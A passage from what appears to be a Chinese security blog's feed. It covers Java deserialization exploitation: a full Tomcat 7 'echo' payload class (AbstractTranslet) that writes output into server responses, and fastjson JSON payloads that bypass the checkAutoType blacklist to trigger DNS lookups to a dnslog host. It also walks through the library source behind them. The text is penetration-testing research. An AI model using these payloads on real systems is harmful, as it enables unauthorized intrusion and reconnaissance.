id="0x05-实战挖掘"><a href="#0x05-实战挖掘" class="headerlink" title="0x05 实战挖掘"></a>0x05 实战挖掘</h2><p>基于以上想法,我设计了一款java内存对象搜索工具java-object-searcher,它可以很方便的帮助我们完成对request对象的搜索,当然不仅仅用于挖掘request。下面以<code>Tomcat7.0.94</code>为例挖掘requst。</p><p>项目地址:<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">https://github.com/c0ny1/java-object-searcher</a></p><h4 id="5-1-引入java-object-searcher"><a href="#5-1-引入java-object-searcher" class="headerlink" title="5.1 引入java-object-searcher"></a>5.1 引入java-object-searcher</h4><p>去<a href="https://github.com/c0ny1/java-object-searcher/releases" target="_blank" rel="noopener">java-object-searcher项目的releases</a>下载编译好的jar,引入到web项目和调试环境中。</p><h4 id="5-2-编写调用代码进行搜索"><a href="#5-2-编写调用代码进行搜索" class="headerlink" title="5.2 编写调用代码进行搜索"></a>5.2 编写调用代码进行搜索</h4><p>然后我们需要断点打在漏洞触发的位置,因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时,全局变量的状态(属性结构和值)。</p><p>接着在IDEA的<code>Evaluate</code>中编写java-object-searcher的调用代码,来搜索全局变量。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象</span></span><br><span class="line">List<Keyword> keys = <span class="keyword">new</span> ArrayList<>();</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"ServletRequest"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequstGroup"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequestInfo"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"RequestGroupInfo"</span>).build());</span><br><span class="line">keys.add(<span class="keyword">new</span> Keyword.Builder().setField_type(<span class="string">"Request"</span>).build());</span><br><span class="line"><span class="comment">//新建一个广度优先搜索Thread.currentThread()的搜索器</span></span><br><span class="line">SearchRequstByBFS searcher = <span class="keyword">new</span> SearchRequstByBFS(Thread.currentThread(),keys);</span><br><span class="line"><span class="comment">//打开调试模式</span></span><br><span class="line">searcher.setIs_debug(<span class="keyword">true</span>);</span><br><span class="line"><span class="comment">//挖掘深度为20</span></span><br><span class="line">searcher.setMax_search_depth(<span class="number">20</span>);</span><br><span class="line"><span class="comment">//设置报告保存位置</span></span><br><span class="line">searcher.setReport_save_path(<span class="string">"D:\\apache-tomcat-7.0.94\\bin"</span>);</span><br><span class="line">searcher.searchObject();</span><br></pre></td></tr></table></figure><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/3.png" alt="编写代码调用java-object-searcher挖掘request"></p><h4 id="5-3-根据挖掘结果构造回显payload"><a href="#5-3-根据挖掘结果构造回显payload" class="headerlink" title="5.3 根据挖掘结果构造回显payload"></a>5.3 根据挖掘结果构造回显payload</h4><p>根据上述挖掘到的反射链来构造回显,具体代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.tomcat.util.buf.ByteChunk;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Tomcat7EchoByC0ny1</span> <span class="keyword">extends</span> <span class="title">AbstractTranslet</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Tomcat7EchoByC0ny1</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Object obj = Thread.currentThread();</span><br><span class="line"> Field field = obj.getClass().getSuperclass().getDeclaredField(<span class="string">"group"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"threads"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> Thread[] threads = (Thread[]) obj;</span><br><span class="line"> <span class="keyword">for</span> (Thread thread : threads) {</span><br><span class="line"> <span class="keyword">if</span> (thread.getName().contains(<span class="string">"http-apr"</span>) && thread.getName().contains(<span class="string">"Poller"</span>)) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> field = thread.getClass().getDeclaredField(<span class="string">"target"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(thread);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"this$0"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"handler"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getSuperclass().getDeclaredField(<span class="string">"global"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"processors"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> ArrayList processors = (ArrayList) obj;</span><br><span class="line"> <span class="keyword">for</span> (Object o : processors) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> field = o.getClass().getDeclaredField(<span class="string">"req"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(o);</span><br><span class="line"> org.apache.coyote.Request request = (org.apache.coyote.Request) obj;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">byte</span>[] buf = <span class="string">"Test by c0ny1"</span>.getBytes();</span><br><span class="line"> ByteChunk bc = <span class="keyword">new</span> ByteChunk();</span><br><span class="line"> bc.setBytes(buf, <span class="number">0</span>, buf.length);</span><br><span class="line"> request.getResponse().doWrite(bc);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最终生成反序列化数据提交至服务器即可回显</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/4.png" alt="tomcat回显"></p><p>通过<code>java-object-searcher</code>,我不仅挖掘到了之前师傅们公开的链,还挖掘到了其他未公开的。同时在其他中间件下也实现了回显,下面列举几个比较冷门的中间件。</p><p><strong>1. Jetty</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/jetty_chain.png" alt></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/jetty.jpg" alt></p><p><strong>2. WildFly</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/wildfly_chain.png" alt="wildfly挖掘结果"></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/wildfly.jpg" alt="wildfly回显"></p><p><strong>3. Resin</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/resin_chain.png" alt="resin挖掘结果"></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/resin.jpg" alt="resin回显"></p><h2 id="0x06-最后的思考"><a href="#0x06-最后的思考" class="headerlink" title="0x06 最后的思考"></a>0x06 最后的思考</h2><p>有了半自动化,就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request,这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢?比如<a href="https://github.com/JackOfMostTrades/gadgetinspector" target="_blank" rel="noopener">gadgetinspector</a>原来是挖掘gadget的,能否更换它的<code>source</code>和<code>slink</code>定义,将其改造为全自动化挖掘request呢?有兴趣的朋友可以去试试。</p><p>PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情,或许和我此时的心情一样,无以言表。</p>]]></content>
<summary type="html">
<h2 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h2><p>本文献给永远的<code>Avicii</code>,严格意义上我不算是一个<code>reaver
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>通过dnslog探测fastjson的几种方法</title>
<link href="https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/"/>
<id>https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/</id>
<published>2020-03-24T15:17:55.000Z</published>
<updated>2020-03-24T17:55:23.871Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有<code>fastjson</code>,<code>jackson</code>,<code>gson</code>等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。</p><p>昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下<a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">Issue</a>。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。</p><p><img src="/articles/2020/several-ways-to-detect-fastjson-through-dnslog/1.png" alt="给fastjson官方提的issue"></p><h2 id="0x02-方法一-利用java-net-Inet-4-6-Address"><a href="#0x02-方法一-利用java-net-Inet-4-6-Address" class="headerlink" title="0x02 方法一:利用java.net.Inet[4|6]Address"></a>0x02 方法一:利用java.net.Inet[4|6]Address</h2><p>很早之前有一个方法是使用<code>java.net.InetAddress</code>类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(<code>v1.2.67</code>)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以<code>java.net.Inet4Address</code>为例分析构造原理。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.Inet4Address"</span>,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}</span><br><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.Inet6Address"</span>,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}</span><br></pre></td></tr></table></figure><p>我们知道在fastjson在反序列化之前都会调用<code>checkAutoType</code>方法对类进行检查。通过调试发现,由于<code>java.net.Inet4Address</code>不在黑名单中,所以就算开启AutoType也是能过<code>1</code>处的检查。</p><p>fastjson的ParserConfig类自己维护了一个<code>IdentityHashMap</code>,在这个HashMap中的类会被认为是安全的。在<code>2</code>处可以在IdentityHashMap中可以获取到<code>java.net.Inet4Address</code>,所以<code>clazz</code>不为<code>null</code>,导致在<code>3</code>处就返回了。跳过了后续的未开启<code>AutoType</code>的黑名单检查。所以可以发现无论<code>AutoType</code>是否开启,都可以过<code>checkAutoType</code>的检查</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.parser.ParserConfig#checkAutoType</span></span><br><span class="line"><span class="keyword">public</span> Class<?> checkAutoType(String typeName, Class<?> expectClass, <span class="keyword">int</span> features) {</span><br><span class="line"> ...</span><br><span class="line"> Class clazz;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查</span></span><br><span class="line"> <span class="keyword">if</span> (!internalWhite && (<span class="keyword">this</span>.autoTypeSupport || expectClassFlag)) {</span><br><span class="line"> hash = h3;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(mask = <span class="number">3</span>; mask < className.length(); ++mask) {</span><br><span class="line"> hash ^= (<span class="keyword">long</span>)className.charAt(mask);</span><br><span class="line"> hash *= <span class="number">1099511628211L</span>;</span><br><span class="line"> ....</span><br><span class="line"> <span class="keyword">if</span> (Arrays.binarySearch(<span class="keyword">this</span>.denyHashCodes, hash) >= <span class="number">0</span> && TypeUtils.getClassFromMapping(typeName) == <span class="keyword">null</span> && Arrays.binarySearch(<span class="keyword">this</span>.acceptHashCodes, fullHash) < <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"autoType is not support. "</span> + typeName);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> clazz = TypeUtils.getClassFromMapping(typeName);</span><br><span class="line"> <span class="keyword">if</span> (clazz == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的,会直接被返回。</span></span><br><span class="line"> clazz = <span class="keyword">this</span>.deserializers.findClass(typeName);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (clazz == <span class="keyword">null</span>) {</span><br><span class="line"> clazz = (Class)<span class="keyword">this</span>.typeMapping.get(typeName);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (internalWhite) {</span><br><span class="line"> clazz = TypeUtils.loadClass(typeName, <span class="keyword">this</span>.defaultClassLoader, <span class="keyword">true</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (clazz != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (expectClass != <span class="keyword">null</span> && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"type not match. "</span> + typeName + <span class="string">" -> "</span> + expectClass.getName());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 3. 直接返回,不再走下面的autoTypeSupport和黑名单检查</span></span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 4. 不开启autoType时,进行的黑名单检查</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.autoTypeSupport) {</span><br><span class="line"> hash = h3;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(mask = <span class="number">3</span>; mask < className.length(); ++mask) {</span><br><span class="line"> <span class="keyword">char</span> c = className.charAt(mask);</span><br><span class="line"> hash ^= (<span class="keyword">long</span>)c;</span><br><span class="line"> hash *= <span class="number">1099511628211L</span>;</span><br><span class="line"> <span class="keyword">if</span> (Arrays.binarySearch(<span class="keyword">this</span>.denyHashCodes, hash) >= <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"autoType is not support. "</span> + typeName);</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>fastjason对于<code>Inet4Address</code>类会使用<code>MiscCodec</code>这个<code>ObjectDeserializer</code>来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> ...</span><br><span class="line"> objVal = parser.parse();</span><br><span class="line"> ...</span><br><span class="line"> strVal = (String)objVal;</span><br><span class="line"> <span class="keyword">if</span> (strVal != <span class="keyword">null</span> && strVal.length() != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (clazz == UUID.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URI.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URL.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == Pattern.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == Locale.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == SimpleDateFormat.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 1. 将strVal作为主机名,获取其对应的ip,域名在此处被解析</span></span><br><span class="line"> <span class="keyword">return</span> InetAddress.getByName(strVal);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException var11) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"deserialize inet adress error"</span>, var11);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-方法二-利用java-net-InetSocketAddress"><a href="#0x03-方法二-利用java-net-InetSocketAddress" class="headerlink" title="0x03 方法二:利用java.net.InetSocketAddress"></a>0x03 方法二:利用java.net.InetSocketAddress</h2><p><code>java.net.InetSocketAddress</code>类也在<code>IdentityHashMap</code>中,和上面一样无视<code>checkAutoType</code>检查。</p><p>通过它要走到<code>InetAddress.getByName()</code>流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的<code>@背影</code>师傅交流时,才知道可以顺着解析器规则构造(<code>它要啥就给它啥</code>),最终payload如下,当然它是畸形的json。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.InetSocketAddress"</span>{<span class="attr">"address"</span>:,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}}</span><br></pre></td></tr></table></figure><p>那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器<code>token</code>值对应的含义,可以在<code>com.alibaba.fastjson.parser.JSONToken</code>类中看到它们。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.parser.JSONToken</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JSONToken</span> </span>{</span><br><span class="line"> ...</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">name</span><span class="params">(<span class="keyword">int</span> value)</span> </span>{</span><br><span class="line"> <span class="keyword">switch</span>(value) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"int"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"float"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"string"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"iso8601"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"true"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"false"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"null"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">9</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"new"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">10</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"("</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">11</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">")"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">12</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"{"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">13</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"}"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">14</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"["</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">15</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"]"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">16</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">","</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">17</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">":"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">18</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"ident"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">19</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"fieldName"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">20</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"EOF"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">21</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Set"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">22</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"TreeSet"</span>;</span><br><span class="line"> <span 